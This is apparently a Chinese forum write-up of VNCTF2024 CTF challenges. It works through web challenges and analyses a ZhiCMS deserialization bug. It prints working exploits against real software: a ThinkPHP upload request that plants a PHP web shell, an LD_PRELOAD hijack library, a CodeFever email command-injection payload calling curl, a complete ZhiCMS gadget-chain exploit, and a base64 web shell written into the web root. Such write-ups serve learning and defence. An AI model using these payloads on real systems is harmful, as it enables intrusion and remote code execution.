VNCTF2024 writeup(含cve-2024-0603漏洞分析)
酒*味 发表于 广东 CTF 2099浏览 · 2024-02-20 06:08

VNCTF2024

Web

Checkin

签到题

game.js​文件中可以找到被编码的一串字符,解码就是flag

CutePath

刷新页面可以抓到这样一条请求

看到filepath​这个参数就可以尝试一波路径穿越了

在根目录有一个flag​的目录,然后flag​就在/flag/flag/flag.txt

然后我们通过遍历上层目录,可以获得一串base64​的密文

经过解码发现是题目的用户名和密码

经过一段时间尝试都不太能够读到flag.txt

然后我们仔细观察下载的请求

如果我们下载的是txt​,zip​这类的文件,请求的路径就是/chfs/shared/...

而如果当我们下载的是dir​目录的话,请求的路径则变为/chfs/downloaddir/...

此时我们创建一个目录,然后拦截下载的请求

修改路径为/chfs/downloaddir/../../../../flag​就能够成功获取flag​目录的所有内容,包括flag

TrySent

真 · 签到题

可以发现网站是ThinkPHPV6.0.5​的,直接搜索历史漏洞 打POC​就能拿到flag​了

POST /user/upload/upload HTTP/1.1
Host: target
Cookie: PHPSESSID=7901b5229557c94bad46e16af23a3728
Content-Length: 758
Sec-Ch-Ua: " Not;A Brand";v="99", "Google Chrome";v="97", "Chromium";v="97"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrhx2kYAMYDqoTThz
Accept: */*
Origin: https://info.ziwugu.vip/
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://target.com/user/upload/index?name=icon&type=image&limit=1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ja-CN;q=0.8,ja;q=0.7,en;q=0.6
Connection: close

------WebKitFormBoundaryrhx2kYAMYDqoTThz
Content-Disposition: form-data; name="id"

WU_FILE_0
------WebKitFormBoundaryrhx2kYAMYDqoTThz
Content-Disposition: form-data; name="name"

test.jpg
------WebKitFormBoundaryrhx2kYAMYDqoTThz
Content-Disposition: form-data; name="type"

image/jpeg
------WebKitFormBoundaryrhx2kYAMYDqoTThz
Content-Disposition: form-data; name="lastModifiedDate"

Wed Jul 21 2021 18:15:25 GMT+0800 (中国标准时间)
------WebKitFormBoundaryrhx2kYAMYDqoTThz
Content-Disposition: form-data; name="size"

164264
------WebKitFormBoundaryrhx2kYAMYDqoTThz
Content-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/jpeg

JFIF
<?php system($_GET[0]);?>

------WebKitFormBoundaryrhx2kYAMYDqoTThz--

givenphp

题目源码

<?php
highlight_file(__FILE__);
if(isset($_POST['upload'])){
    handleFileUpload($_FILES['file']);
}

if(isset($_GET['challenge'])){
    waf();
    $value=$_GET['value'];
    $key=$_GET['key'];
    $func=create_function("","putenv('$key=$value');");
    if($func==$_GET['guess']){
        $func();
        system("whoami");
    }
}
function waf()
{
    if(preg_match('/\'|"|%|\(|\)|;|bash/i',$_GET['key'])||preg_match('/\'|"|%|\(|\)|;|bash/i',$_GET['value'])){
        die("evil input!!!");
    }
}
function handleFileUpload($file)
{
    $uploadDirectory = '/tmp/';

    if ($file['error'] !== UPLOAD_ERR_OK) {
        echo '文件上传失败。';
        return;
    }
    $fileExtension = pathinfo($file['name'], PATHINFO_EXTENSION);

    $newFileName = uniqid('uploaded_file_', true) . '.' . $fileExtension;
    $destination = $uploadDirectory . $newFileName;
    if (move_uploaded_file($file['tmp_name'], $destination)) {
        echo $destination;
    } else {
        echo '文件移动失败。';
    }
}

可以看到题目给了一个上传点,还给了一个可以操作环境变量并且执行whoami​的点

一眼丁真就是LD_PRELOAD​环境变量问题

简单说一下LD_PRELOAD​,是一个环境变量,用于动态链接库的加载

然后我们看whoami​调用了哪些静态链接库呢

fflush​,geteuid​,puts​等等

一开始一直尝试用puts​函数来劫持,发现一直成功不了,后面换了fflush​之后就成功了(不太清楚为什么)

这边用fflush​进行演示

#include <stdlib.h>
#include <string.h>
void payload() {
    system("nl /*");
}
int fflush() {
    if (getenv("LD_PRELOAD") == NULL) { return 0; }
    unsetenv("LD_PRELOAD");
    payload();
}

然后通过命令,编译获得我们的恶意so​文件

gcc 1.c -o exp.so -fPIC -shared -ldl -D_GNU_SOURCE

通过curl​把文件上传到服务器上,并获得恶意so​文件的路径/tmp/uploaded_file_65d3236acdcda1.15030717.so

然后看利用点,发现有一个$func = creation_function(.....); $func=$_GET["guess"];

可以考的就是命令函数\x00lambda_%0d​而后面的%0d​是会递增的,不太能够精确控制这个值(菜菜),所以我们这里选择竞争请求

成功获得flag​​

codefever_again(赛后)

最新版本,但是之前的漏洞没修,所以可以直接通过历史漏洞拿flag

参考链接: https://github.com/PGYER/codefever/issues/140 ->CVE-2023-26817

大致分析就是application/controllers/api/user.php​中对eamil​的校验不严格

public function resentCommitEmailCode_post()
    {
        $userInfo = Request::parse()->authData['userData'];
        $data = Request::parse()->parsed;
        $uKey = $userInfo['u_key'];
        $email = $data['email'];

        if (!$email) {
            Response::reject(0x0201);
        }

        if (!preg_match('/^\w+([.-]?\w+)*@\w+([.-]?\w+)*(\.\w{2,3})+$/', $email)) {
            Response::reject(0x0201);
        }

        EmailSender::send(
            $email,
            '【CodeFever Community】验证电子邮件地址',
            EmailTemplate::verifyCode(TOTP::generate($email))
        );

        Response::output([]);
    }

然后调用了EamilSender::send()​方法

然后我们再来看这个方法是怎么实现的

class Mail {
    static function send (string $to, string $title, string $body)
    {
        Logger::Log(
            'Sent!, to=' . $to . ', subject=' . $title . ', body: ' . $body,
            Logger::SCOPE_EMAIL
        );

        $from = YAML_EMAIL_NAME . '<' . YAML_EMAIL_FROM . '>';

        // $result = exec("export LANG=en_US.UTF-8 && echo -e '{$body}' | mail -r '{$from}' -s '{$title}' '{$to}' > /dev/null &");

        $result = [];
        Command::run([
            'echo', '-e', Command::wrapArgument($body), '|',
            'mail', '-r', Command::wrapArgument($from),
            '-s', Command::wrapArgument($title), Command::wrapArgument($to),
            '> /dev/null &'
        ], $result);

        $result = implode('', $result);

        Logger::Log(
            'from:' . $from . ' Sent result:' .  json_encode($result),
            Logger::SCOPE_EMAIL
        );

        return true;
    }
}

调用exec​函数来进行发送邮件,所以我们可以在邮箱后面拼接命令实现任意命令执行

payload​ : 1@qq.com'xx|curl target;xx'xx

zhi(赛后)

当时没时间做,看大佬的wp​复现

参考链接 : https://pysnow.cn/archives/715/

通过公开的信息可以发现漏洞入口位于app/plug/controller/giftcontroller.php

......

public function mylike(){
        error_reporting('0');
        $mylike=$_COOKIE['mylike'];
        $arr = unserialize($mylike);

......

通过$_COOKIE['mylike']​就能够反序列化

大致反序列化链子为

simple_html_dom::__destruct() -> simple_html_dom::clear() -> MemcacheDriver::clear() ->simple_html_dom_node::__toString() ->simple_html_dom_node::outertext() -> 
Template::display() -> Template::compile()

simple_html_dom.php

<?php
namespace ZhiCms\ext;
class simple_html_dom_node
{
    private $dom = null;
    function __toString()
    {
        return $this->outertext();
    }
    function outertext()
    {
        if ($this->dom && $this->dom->callback!==null)
        {
            call_user_func_array($this->dom->callback, array($this));
        }
    }
}
class simple_html_dom
{

    public $callback = null;
    protected $parent;
// .......
    function __destruct()
    {
        $this->clear();
    }

// .......
    function clear()
    {
        foreach ($this->nodes as $n) {$n->clear(); $n = null;}
        // This add next line is documented in the sourceforge repository. 2977248 as a fix for ongoing memory leaks that occur even with the use of clear.
        if (isset($this->children)) foreach ($this->children as $n) {$n->clear(); $n = null;}
        if (isset($this->parent)) {$this->parent->clear(); unset($this->parent);}
        if (isset($this->root)) {$this->root->clear(); unset($this->root);}
        unset($this->doc);
        unset($this->noise);
    }
// .......
}

MemcacheDriver.php

<?php
namespace ZhiCms\base\cache;
class MemcacheDriver implements CacheInterface{
    protected $mmc = NULL;
    protected $group = ''; 
    protected $ver = 0;
    public function clear() {
        return  $this->mmc->set($this->group.'_ver', $this->ver+1); 
    }
}

Template.php

<?php
namespace ZhiCms\base;
class Template {
    protected $config =array();
    protected $label = null;
    protected $vars = array();
    protected $cache = null;

    public function display($tpl = '', $return = false, $isTpl = true ) {
            if( $return ){
                if ( ob_get_level() ){
                    ob_end_flush();
                    flush();
                }
                ob_start();
            }

            extract($this->vars, EXTR_OVERWRITE);
            eval('?>' . $this->compile( $tpl, $isTpl));

            if( $return ){
                $content = ob_get_contents();
                ob_end_clean();
                return $content;
            }
        }   
}

分析

simple_html_dom的__destruct()方法调用了clear()方法,但是clear()方法中存在这样一段代码

if (isset(this->parent->clear(); unset($this->parent);}

然后$this->parent变量是可控的,我们可以利用这里去调用MemcacheDriver类中的clear()方法

return  $this->mmc->set($this->group.'_ver', $this->ver+1); 

而MemcacheDriver的clear()方法中将$this->group拼接字符串'_ver',所以可以触发simple_html_dom_node中的__toString()方法
simple_html_dom_node的__toString()方法调用了outertext()方法,而这个方法中存在call_user_func_array()函数可以调用匿名函数

if ($this->dom && $this->dom->callback!==null){call_user_func_array($this->dom->callback, array($this));}

仔细分析这一段代码,如果$this->dom和$this->dom->callback存在,就将$this->dom->callback作为回调函数调用,这里已经可以执行phpinfo了,继续往下走
可以找到Template中的display函数

extract($this->vars, EXTR_OVERWRITE);
eval('?>' . $this->compile( $tpl, $isTpl));

调用了complie()方法,然后将返回值拼接在<?的后面再给eval函数当作代码执行
再看看 complie() 方法

public function compile( $tpl, $isTpl = true ) {}

这个方法其实就是模板化一串字符串,当传入的$isTpl为true的时候就对传入的$tpl进行修改,但是当$isTpl变量为false的时候就不进行修改
这里的$tpl和$isTpl实际上是不可控的,但是display()方法中还有一段

extract($this->vars, EXTR_OVERWRITE);

$this->vars变量是可控的,所以这里我们可以利用extract()的变量覆盖将$tpl和$isTpl覆盖为我们想要的值,就可以实现任意命令执行

最终exp

<?php
namespace ZhiCms\base;
class Cache{
    protected $config =array();
    protected $cache = 'default';
    public $proxyObj=null;
    public $proxyExpire=1800;
    public function __construct(){
        $this->config = array("CACHE_TYPE"=>"FileCache","MEM_GROUP"=>"tpl");
    }
}
class Template {
    protected $config =array();
    protected $label = null;
    protected $vars = array();
    protected $cache = null;

    public function __construct(){
        $this->cache = new Cache;
        $this->vars=array("tpl"=>"<?php system('nl /*');?>","isTpl"=>false);
    }
}

namespace ZhiCms\base\cache;
use ZhiCms\ext\simple_html_dom_node;
use ZhiCms\base\Cache;
class MemcacheDriver
{
    protected $mmc = NULL;
    protected $group = ''; 
    protected $ver = 0;
    public function __construct(){
        $this->mmc = new Cache();
        $this->group = new simple_html_dom_node;
    }
}


namespace ZhiCms\ext;
use ZhiCms\base\cache\MemcacheDriver;
use ZhiCms\base\Template;
use zhicms\base\Cache;
class simple_html_dom
{
    protected $parent;
    public $callback = null;
    public function __construct($obj){
        $this->parent = $obj;
    }
}
class simple_html_dom_node
{
    private $dom = null;
    public function __construct(){
        $dom = new simple_html_dom("");
        $dom->callback=array(new Template(), "display");
        $this->dom = $dom;

    }
}


$step = new MemcacheDriver;
$exp = new simple_html_dom($step);
echo urlencode(serialize($exp));

MISC

比赛的时候MISC一题没看Orz

OnlyLocalSql(赛后)

ctf​用户可以修改/var/www/html​目录,直接在里面添加一个木马文件, 通过木马文件执行的命令权限就是www-data

可以绕过flag​的限制

echo PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4= | base64 -d > /var/www/html/1.php
curl http://127.0.0.1/1.php?cmd=nl+/*

sqlshark(赛后)

盲注语句分析,直接筛选HTTP​流量然后分析盲注payload​就好

1 条评论
某人
表情
可输入 255